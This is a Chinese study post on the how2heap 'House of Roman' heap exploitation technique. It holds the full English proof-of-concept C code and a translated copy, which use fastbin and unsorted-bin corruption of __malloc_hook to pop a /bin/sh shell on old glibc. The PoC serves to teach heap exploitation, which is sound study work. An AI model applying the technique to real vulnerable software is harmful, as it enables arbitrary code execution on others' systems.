前置知识

  • 前置知识的话基本上都学了,这边就大概书写一下。
    • fastbin的运行机制
    • unsorted_bin的运行机制
    • fastbin_attack
    • unsorted_bin_attack
    • malloc_hookhook技术

实验

  • 接下来直接进行实验还是老样子,翻译源码。
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.
Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman
POC written by Maxwell Dulin (Strikeout)
*/

// Use this in order to turn off printf buffering (messes with heap alignment)
void* init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){

/*
The main goal of this technique is to create a **leakless** heap
exploitation technique in order to get a shell. This is mainly
done using **relative overwrites** in order to get pointers in
the proper locations without knowing the exact value of the pointer.
The first step is to get a pointer inside of __malloc_hook. This
is done by creating a fastbin bin that looks like the following:
ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
(with a relative overwrite) to point to __malloc_hook.

The next step is to run an unsorted bin attack on the __malloc_hook
(which is now controllable from the previous attack). Again, we run
the unsorted_bin attack by altering the chunk->bk with a relative overwrite.
Finally, after launching the unsorted_bin attack to put a libc value
inside of __malloc_hook, we use another relative overwrite on the
value of __malloc_hook to point to a one_gadget, system or some other function.

Now, the next time we run malloc we pop a shell! :)
However, this does come at a cost: 12 bits of randomness must be
brute forced (0.02% chance) of working.
The original write up for the *House of Roman* can be found at
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.
This technique requires the ability to edit fastbin and unsorted bin
pointers via UAF or overflow of some kind. Additionally, good control
over the allocations sizes and freeing is required for this technique.
*/

char* introduction = "\nWelcome to the House of Roman\n\n"
"This is a heap exploitation technique that is LEAKLESS.\n"
"There are three stages to the attack: \n\n"
"1. Point a fastbin chunk to __malloc_hook.\n"
"2. Run the unsorted_bin attack on __malloc_hook.\n"
"3. Relative overwrite on main_arena at __malloc_hook.\n\n"
"All of the stuff mentioned above is done using two main concepts:\n"
"relative overwrites and heap feng shui.\n\n"
"However, this technique comes at a cost:\n"
"12-bits of entropy need to be brute forced.\n"
"That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n";
puts(introduction);
init();


/*
Part 1: Fastbin Chunk points to __malloc_hook
Getting the main_arena in a fastbin chunk ordering is the first step.
This requires a ton of heap feng shui in order to line this up properly.
However, at a glance, it looks like the following:
First, we need to get a chunk that is in the fastbin with a pointer to
a heap chunk in the fd.
Second, we point this chunk to a pointer to LibC (in another heap chunk).
All of the setup below is in order to get the configuration mentioned
above setup to perform the relative overwrites. ";
Getting the pointer to libC can be done in two ways:
- A split from a chunk in the small/large/unsorted_bins
gets allocated to a size of 0x70.
- Overwrite the size of a small/large chunk used previously to 0x71.
For the sake of example, this uses the first option because it
requires less vulnerabilities.
*/

puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
puts("Setting up chunks for relative overwrites with heap feng shui.\n");

// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.
uint8_t* fastbin_victim = malloc(0x60);

// Allocate this in order to have good alignment for relative
// offsets later (only want to overwrite a single byte to prevent
// 4 bits of brute on the heap).
malloc(0x80);

// Offset 0x100
uint8_t* main_arena_use = malloc(0x80);

// Offset 0x190
// This ptr will be used for a relative offset on the 'main_arena_use' chunk
uint8_t* relative_offset_heap = malloc(0x60);

// Free the chunk to put it into the unsorted_bin.
// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
free(main_arena_use);


/*
Get part of the unsorted_bin chunk (the one that we just freed).
We want this chunk because the fd and bk of this chunk will
contain main_arena ptrs (used for relative overwrite later).
The size is particularly set at 0x60 to put this into the 0x70 fastbin later.
This has to be the same size because the __malloc_hook fake
chunk (used later) uses the fastbin size of 0x7f. There is
a security check (within malloc) that the size of the chunk matches the fastbin size.
*/

puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
uint8_t* fake_libc_chunk = malloc(0x60);

//// NOTE: This is NOT part of the exploit... \\\
// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC.
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


// We need the filler because the overwrite below needs
// to have a ptr in the fd slot in order to work.
//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later.
free(relative_offset_heap);

/*
Create a UAF on the chunk. Recall that the chunk that fastbin_victim
points to is currently at the offset 0x190 (heap_relative_offset).
*/
free(fastbin_victim);

/*
Now, we start doing the relative overwrites, since that we have
the pointers in their proper locations. The layout is very important to
understand for this.
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main

Now, the relative overwriting begins:
Recall that fastbin_victim points to relative_offset_heap
(which is in the 0x100-0x200 offset range). The fastbin uses a singly
linked list, with the next chunk in the 'fd' slot.
By *partially* editing the fastbin_victim's last byte (from 0x90
to 0x00) we have moved the fd pointer of fastbin_victim to
fake_libc_chunk (at offset 0x100).
Also, recall that fake_libc_chunk had previously been in the unsorted_bin.
Because of this, it has a fd pointer that points to main_arena + 0x68.
Now, the fastbin looks like the following:
fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).
The relative overwrites (mentioned above) will be demonstrates step by step below.

*/


puts("\
Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
to the chunk with the LibC address\n");
puts("\
Fastbin 0x70 now looks like this:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.


/*
Now, we have a fastbin that looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)

We want the fd ptr in fake_libc_chunk to point to something useful.
So, let's edit this to point to the location of the __malloc_hook.
This way, we can get control of a function ptr.
To do this, we need a valid malloc size. Within the __memalign_hook
is usually an address that usually starts with 0x7f.
Because __memalign_hook value is right before this are all 0s,
we could use a misaligned chunk to get this to work as a valid size in
the 0x70 fastbin.
This is where the first 4 bits of randomness come into play.
The first 12 bits of the LibC address are deterministic for the address.
However, the next 4 (for a total of 2 bytes) are not.

So, we have to brute force 2^4 different possibilities (16)
in order to get this in the correct location. This 'location'
is different for each version of GLibC (should be noted).
After doing this relative overwrite, the fastbin looks like the following:
0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).
*/

/*
Relatively overwrite the main_arena pointer to point to a valid
chunk close to __malloc_hook.
///// NOTE: In order to make this exploit consistent
(not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\
In the actual attack, this values would need to be specific
to a version and some of the bits would have to be brute forced
(depending on the bits).
*/

puts("\
Use a relative overwrite on the main_arena pointer in the fastbin.\n\
Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.

// The relative overwrite
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1; // Least significant bytes of the address.
fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.

// Two filler chunks prior to the __malloc_hook chunk in the fastbin.
// These are fastbin_victim and fake_libc_chunk.
puts("Get the fake chunk pointing close to __malloc_hook\n");
puts("\
In a real exploit, this would fail 15/16 times\n\
because of the final half byet of the malloc_hook being random\n");
malloc(0x60);
malloc(0x60);

// If the 4 bit brute force did not work, this will crash because
// of the chunk size not matching the bin for the chunk.
// Otherwise, the next step of the attack can begin.
uint8_t* malloc_hook_chunk = malloc(0x60);

puts("Passed step 1 =)\n\n\n");

/*
Part 2: Unsorted_bin attack
Now, we have control over the location of the __malloc_hook.
However, we do not know the address of LibC still. So, we cannot
do much with this attack. In order to pop a shell, we need
to get an address at the location of the __malloc_hook.
We will use the unsorted_bin attack in order to change the value
of the __malloc_hook with the address of main_arena + 0x68.
For more information on the unsorted_bin attack, review
https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.
For a brief overview, the unsorted_bin attack allows us to write
main_arena + 0x68 to any location by altering the chunk->bk of
an unsorted_bin chunk. We will choose to write this to the
location of __malloc_hook.
After we overwrite __malloc_hook with the main_arena, we will
edit the pointer (with a relative overwrite) to point to a
one_gadget for immediate code execution.

Again, this relative overwrite works well but requires an additional
1 byte (8 bits) of brute force.
This brings the chances of a successful attempt up to 12 bits of
randomness. This has about a 1/4096 or a 0.0244% chance of working.

The steps for phase two of the attack are explained as we go below.
*/

puts("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack gives us the ability to write a\n\
large value to ANY location. But, we do not control the value\n\
This value is always main_arena + 0x68. \n\
We point the unsorted_bin attack to __malloc_hook for a \n\
relative overwrite later.\n");


// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.

uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate

puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);

/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\
However, for the sake of example, this has been calculated dynamically.
*/
__malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;


// Use another relative offset to overwrite the ptr of the chunk->bk pointer.
// From the previous brute force (4 bits from before) we
// know where the location of this is at. It is 5 bytes away from __malloc_hook.
puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.

// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.

/*
Trigger the unsorted bin attack.
This will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.
A few things do happen though:
- This makes the unsorted bin (hence, small and large too)
unusable. So, only allocations previously in the fastbin can only be used now.
- If the same size chunk (the unsorted_bin attack chunk)
is NOT malloc'ed, the program will crash immediately afterwards.
So, the allocation request must be the same as the unsorted_bin chunk.
The first point is totally fine (in this attack). But, in more complicated
programming, this can be an issue.
The second just requires us to do the same size allocaton as the current chunk.
*/

puts("Trigger the unsorted_bin attack\n");
malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68

long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

puts("Passed step 2 =)\n\n\n");
/*
Step 3: Set __malloc_hook to system

The chunk itself is allocated 19 bytes away from __malloc_hook.
So, we use a realtive overwrite (again) in order to partially overwrite
the main_arena pointer (from unsorted_bin attack) to point to system.
In a real attack, the first 12 bits are static (per version).
But, after that, the next 12 bits must be brute forced.
/// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
*/

puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
puts("\
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
we can use a relative overwrite to point this to system or a one_gadget.\n\
Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
comes from.\n");
malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).

malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // The last 4 bits of this must be brute forced (done previously already).
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // The last byte is the remaining 8 bits that must be brute forced.
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.


// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.
// In a real example, you would probably want to use a one_gadget.
// But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter
// Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak.
// To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.
puts("Pop Shell!");
malloc((long long)shell);

}
  • 接下来进行翻译,翻译太长了到200行之后就AI跑了,在翻译的时候就感觉how2heap的这个实验说明部分有点啰嗦.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

/*
借助于how2heap里面的ubuntu 16.04 的glibc_build.sh脚本,这个技巧可以被测试在GLibc2.23、2.24中.对于Glibc2.25版本能在Ubuntu17.04中被测试.
编译指令: gcc -fPIE -pie house_of_roman.c -o house_of_roman
这个POC被Maxwell Dulin (Strikeout)所写
*/

// 使用这个初始化是为了关闭printf的缓冲区(扰乱堆的对齐)
void* init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){

/*
这个技巧主要的目标是一个不泄露地址的堆块从而get shell的利用技术.
这个技巧主要使用相对地址覆盖技术,为了在不知道指针准确值的条件下得到一个恰当位置的指针.
第一步是获取一个指向__malloc_hook附近的指针(可以是指向__malloc_hook地址内部或者也可以是指向__malloc_hook附近的)
这一步能被下方创建一个fastbin的过程实现:
ptr_to_chunk -> ptr_to_libc. 之后, 我们替换ptr_to_libc
(使用相对地址修改)使其指向ptr_to_libc.

接下去一个步骤是在__malloc_hook这边执行unsorted bin attack.
(由先前的攻击使得__malloc_hook是可控的). 我们通过相对地址修改替换掉the chunk->bk从而可以进行unsorted_bin attackwe
最后, 在完成unsorted_bin attack后放置一个libc的地址的值在__malloc_hook内部,我们使用另一个相对地址覆盖到__malloc_hook使得__malloc_hook指向一个one_gadget,system或者一些其他的函数

现在,下一次我们执行malloc后我们就能弹shell了! :)
然而, 做这个需要一个代价: 12 bits未知数必须要爆破出来(0.02% chance).
最初的*House of Roman* write up在下面这篇文章中
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.
这个技巧要求通过UAF或者一些溢出能够写fastbin和unsorted bin中的指针. 总之,这个技术要求要很好的堆布局(对堆大小的申请和对堆的释放需要比较精通)
*/

char* introduction = "\n欢迎来到House of Roman\n\n"
"这时一个针对不泄露地址的堆利用技术.\n"
"这个攻击一共有三个步骤: \n\n"
"1. 将a fastbin chunk指向__malloc_hook.\n"
"2. 对__malloc_hook进行the unsorted_bin attack.\n"
"3. 相对修改被写入到__malloc_hook中的main_arena地址.\n\n"
"以上提及的所有内容都是基于两个主要的概念:\n"
"相对修改地址和堆风水.\n\n"
"然而, 这个技术需要一个代价:\n"
"12-bits需要被爆破.\n"
"这意味着这个技术利用成功的概率只有1/4096(0.02%)成功.\n"
"**注意**: 这个利用技术的目的是,我们能设置随机值为了报保持一致\n\n\n";
puts(introduction);
init();


/*
第一部分: Fastbin Chunk指向__malloc_hook
使得main_arena在fastbin chunk中是利用的是第一步.
这需要大量的堆风水将其对齐.
然而, 乍一款, 它的过程如下:
首先, 我们需要得到一个处于fastbin的堆块(前一个堆块),这个堆块的fd指针还需要指向一个堆块(后一个堆块).
第二, 我们要将前一个堆块指向另一个堆块(这个堆块要求其fd指针要指向Libc中的某个位置,这就说明我们可以有好几种办法来满足这个要求)
以下的所有设置是为了完成上面提到的所有要求从而进行完美的相对地址修改.";
获得一个指向libc的指针能通过下面两种方式:
- 从 small/large/unsorted_bins 割下来一个chunk
得到分配的大小x70.
- 修改一个small/large chunk的size位使得伪造出程序知道前一个堆块被使用即size位为0x71.
举个例子, 在这里使用第一个方式因为它要求更少的漏洞点(也就是更容易实现).
*/

puts("第一步: 将fastbin chunk指向__malloc_hook\n\n");
puts("设置chunks通过堆分水和相对地址修改.\n");

// 使用这个作为UAF利用的chunk,之后堆这个chunk进行编辑,编辑这个chunk的指针使得这个指针指向Libc中某个位置.
uint8_t* fastbin_victim = malloc(0x60);

// 分配下面这个堆块是为了堆地址有一个相对较好的对齐
// 之后的偏移 (为了阻止只想要修改简单的一个字节为了阻止堆上4位的爆破).
malloc(0x80);

// 目前偏移为 0x100
uint8_t* main_arena_use = malloc(0x80);

// 目前偏移为 0x190
// 这个指针将在main_arena_use中被用来一个被使用来相对偏移
uint8_t* relative_offset_heap = malloc(0x60);

// 释放这个main_arena_use变量指向的chunk,释放后这个chunk就会被放入unsorted_bin中.
// 这个chunk释放后将有指向main_arena + 0x68的指针,(即fd和bk这两个指针中指向的是main_arena + 0x68的地址).
free(main_arena_use);


/*
获取一部分the unsorted_bin中的chunk (也就是我们刚释放的chunk的一部分).
因为这个chunk的fd和bj指针将包含指向main_aren的指针,所以这真是我们想要的
(之后用于相对地址修改).
这个size特别的要被设置为0x60,也就是我们之后会放这个chunk到管理size为0x70的fasbin链表中.
size位一定要求0x70,因为__malloc_hook那边我们相当于一个伪造的chunk,从fasbin链表取出时程序会对chunk的size位进行检查,而__malloc_hook附近我们能使用的size只能为0x7f.
*/

puts("分配一个有在fd指针中有指向Libc main_arena的chunk.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
uint8_t* fake_libc_chunk = malloc(0x60);

//// 注意: 这不是攻击的一部分... \\\
// 为了偏移地址被找到,这时我们就要计算__malloc_hook,因此这个利用对Glibc的版本有影响
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


// 我们在修改之前需要填充物
// 为了让程序正常工作,fd指针对应的位置必须要有一个指针.
// 释放这个堆块会将一个堆块放入 fastbin_victim 的 fd 对应位置中,以便稍后使用。
free(relative_offset_heap);

/*
在这个chunk上创建一个UAF漏洞. 回忆一下fastbin_victim指向的chunk,当前偏移为0x190(heap_relative_offset).
*/
free(fastbin_victim);

/*
现在, 我们开始进行相对地址修改, 因为我们有指针指向恰当的位. 现在堆布局非常重要,我们先来理解堆布局.
当前的堆布局如下:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bins链表的布局如下:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main

现在, 相对地址修改开始:
回忆一下,fastbin_victim指向的是relative_offset_heap
(且该位置的偏移范围在0x100-0x200之间). fastbin使用一个简单的链表,
下一个chunk的地址,是在当前chunk的fd指针范围内.
通过 *部分地* 编辑fastbin_victim的最后一字节(从0x90 到 0x00)
我们已经移动fastbin_victim的fd指针到fake_libc_chunk中(偏移0x100).
此外, 我们回忆一下fake_libc_chunk先前已经处于unsorted_bin中.
由于fake_libc_chunk已经处于unsorted_bin中, 它的fd指针是指向main_arena + 0x68的位置.
现在, fastbin这个链表主要看起来如下:
fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).
相对偏移地址修改(在上面被提到的这个方法) 将在下面被一步一步展现出来
*/


puts("\
修改堆块的第一个字节为了将fastbin chunk执行带有Libc地址的chunk\n\n");
puts("\
Fastbin 0x70现在看起来像这样:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
fastbin_victim[0] = 0x00; // 此时fastbin_victim[0]这个位置在0x100偏移, 并且我们只想要修改第一个字节.所以我们放置0x0到这边.


/*
现在, 我们的fastbin布局如下:
0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)

我们想要使得在fake_libc_chunk中的fd指针指向一些有用的位置.
因此, 让我们修改这个位置,使其指向 __malloc_hook所处的位置.
这样, 我们就能控制一个函数指针.
为了达到这个目的, 我们需要一个有效的malloc size位. 在__memalign_hook中
通常由一个0x7f开头的地址.
因为__memalign_hook的值在该地址前都是0(也就是这个地址的前面位置都存储着0),
我们使用错位技巧使得__memalign_hook这边的fake_chunk因为有效的size位在0x70 fastbin中从而正常工作 .
这就是第一个4位随机性发生的地方.
Libc地址的第一个12 bit是具有确定性的.
然而, 接下来的4位(总共2字节中的一部分)是随机的.
0x7f1234 a 000
0x7f1234 b 000
0x7f1234 c 000
(这边的a、b、c就表示接下来的4位,这一位具有不确定性)

因此, 我们必须爆破16中不同的可能
为了得到正确的位置.
这个'位置'在每一个GLibc版本都是不同的(这里应该划一个重点).
在进行相对地址修改之后, fastbin的布局如下:
0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).
*/

/*
相对得修改main_arena指针,使其指向一个有效的chunk,并且这个chunk靠近__malloc_hook.
///// 注意: 为了使得利用连续
(也就是不爆破硬编码的偏移量), 我们手动设置这个值(模拟我们爆破成功). \\\
在实际的攻击中, 这些值需要时一个特定版本(高版本libc中hook全被删了)并且一些bit位一定是需要爆破的
(这取决于bits).
*/

puts("\
在fastbin中对main_arena pointer使用一个相对地址修改的方法在.\n\
使得fd指针指向__malloc_hook附近的位置,这样的目的是创造一个fake fastbin chunk\n");
long long __malloc_hook_adjust = __malloc_hook - 0x23; // 我们从malloc减去0x23因为我们想要使用0x7f作为一个有效的fastbin chunk的size位.

// 相对地址修改
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1; // 地址的最低有效字节数.
fake_libc_chunk[1] = byte2; // 这一部分的最高4位必须在实际攻击中通过暴力破解.
// 在fastbin中,__malloc_hook块之前有两个填充块。
// 它们是 fastbin_victim 和 fake_libc_chunk。.
puts("得到指向__malloc_hook附近的fake chunk\n");
puts("\
在一个真实的利用中, 这将会有15/16的概率失败\n\
因为最后malloc_hook最后的半字节是随机的\n");
malloc(0x60);
malloc(0x60);

// 如果4位的爆破没有成功,这就会导致程序崩溃
// 因为chunk的size位与bin中存储chunk的大小不匹配.
// 爆破成功接下去的攻击步骤就可以开始.
uint8_t* malloc_hook_chunk = malloc(0x60);

puts("Passed step 1 =)\n\n\n");

/*
第二部分: Unsorted_bin attack
现在,我们已经控制了__malloc_hook的位置。然而,我们仍然不知道LibC的地址。
因此,我们无法通过这个攻击做太多事情。为了获得一个shell,我们需要获取__malloc_hook位置的地址。
我们将使用未排序的bin攻击来更改__malloc_hook的值,将其设置为main_arena + 0x68的地址。
有关未排序bin攻击的更多信息,请查看
https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.
简要概述,未排序bin攻击允许我们通过改变一个未排序bin块的chunk->bk,
将main_arena + 0x68写入到任何位置。我们将选择将其写入__malloc_hook的位置.
在我们用main_arena覆盖__malloc_hook后,
我们将编辑指针(通过相对覆盖)使其指向一个one_gadget以实现立即执行代码。.

再次强调,这个相对覆盖工作得很好,但需要额外的1字节(8位)暴力破解。
这将使成功的尝试几率增加到12位的随机性。大约有1/4096或0.0244%的概率会成功。
攻击的第二阶段步骤如下所述。
*/

puts("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack 使我们能够将一个较大的值写入任何位置\n\
但我们无法控制该值\n\
这个值始终是 main_arena + 0x68. \n\
我们将unsorted_bin attack指向 __malloc_hook,以便稍后进行相对覆盖.\n\");


// 使得这个chunk腐败. 添加另一个指针以防止在释放时合并。.

uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // 防止合并

puts("放置chunk到unsorted_bin\n");
// 释放这个堆块构造UAF漏洞
free(unsorted_bin_ptr);

/* /// 注意: 字节2的最后4位之前已经被暴力破解过了. \\\
但是,为了举例说明,这里是动态计算的。.
*/
__malloc_hook_adjust = __malloc_hook - 0x10; // 之所以需要减去0x10,是因为chunk->fd在unsorted_bin attack中执行了实际的覆盖操作.
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;


// 使用另一个相对偏移来覆盖 chunk->bk 指针的指针。
// 从之前的暴力破解(前面提到的 4 位)中,我们知道它的位置。它距离 __malloc_hook 有 5 个字节
puts("覆盖该块的最后两个字节,使其指向 __malloc_hook.\n");
unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.

// //// 注意: 通常情况下,字节的后半部分需要通过爆破来确定。不过,为了方便演示,我们特意设置了这个值,以确保利用过程的稳定性. ///
unsorted_bin_ptr[9] = byte2; // bk 指针的第一个字节,其中后4位是之前通过爆破确定的,而前4位是固定的。

/*
触发 unsorted bin 攻击。
这将把 (main_arena + 0x68) 的值写入 bk 指针指向的位置加上 0x10 的地址。
在此过程中会发生以下几件事::
- 这会导致 unsorted bin(以及 small bin 和 large bin)变得不可用。
因此,之后只能使用 fastbin 中已有的内存块。
- 如果之后未分配与 unsorted bin 攻击块相同大小的内存块,程序会立即崩溃。
因此,接下来的分配请求必须与 unsorted bin 攻击块的大小一致。
第一个问题在本次攻击中完全没问题,但在更复杂的程序中可能会带来麻烦.
第二个问题只要求我们进行与当前块相同大小的分配即可.
*/

puts("触发unsorted_bin attack\n");
malloc(0x80); // 触发 unsorted bin 攻击,将 __malloc_hook 覆盖为 main_arena + 0x68

long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

puts("Passed step 2 =)\n\n\n");
/*
Step 3: Set __malloc_hook to system

该 chunk 本身距离 __malloc_hook 偏移 19 个字节.
因此,我们再次使用相对覆盖的方式,部分覆盖 main_arena 指针(来自 unsorted bin 攻击)以使其指向 system.
在真实攻击中,前 12 位是静态的(取决于 glibc 版本),但接下来的 12 位必须通过暴力破解来确定.
/// 注意: 为了举例说明,我们将直接设置这些值,而不是通过暴力破解来确定. \\\
*/

puts("Step 3: 将 __malloc_hook 设置为 system / one_gadget\n\n");
puts("\
现在我们在 __malloc_hook 中拥有指向 LibC 的指针(来自第 2 步), \n\
我们可以使用相对覆盖将其指向 system 或 one_gadget.\n\
注意:在真实攻击中,这将是最后 8 位蛮力破解的来源\n");
malloc_hook_chunk[19] = system_addr & 0xff; // 前 12 位是静态的(每个版本都相同)。.

malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // 最后 4 位必须通过暴力破解(已经在之前完成).
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // 最后一个字节是剩余的 8 位,必须通过暴力破解.
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // 如果数据段和文本段之间的间隙非常大,也需要这样做。只是为了安全起见添加这一步。.


// 触发 malloc 调用,通过 __malloc_hook 中运行的系统调用来执行代码.
// 在一个实际的例子中,你可能想使用 one_gadget.
// 但是,为了保持移植性,我们将直接使用 system,并将指向 /bin/sh 的指针作为参数
// 虽然这有点作弊(因为二进制文件是 PIE),如果二进制文件不是 PIE,拥有指向 .bss 区段的指针将能在没有任何泄漏的情况下工作.
// 为了获取 system 地址(为了保持一致性),二进制文件必须是 PIE。因此,地址被放在这里.
puts("Pop Shell!");
malloc((long long)shell);

}

利用与调试

利用方式

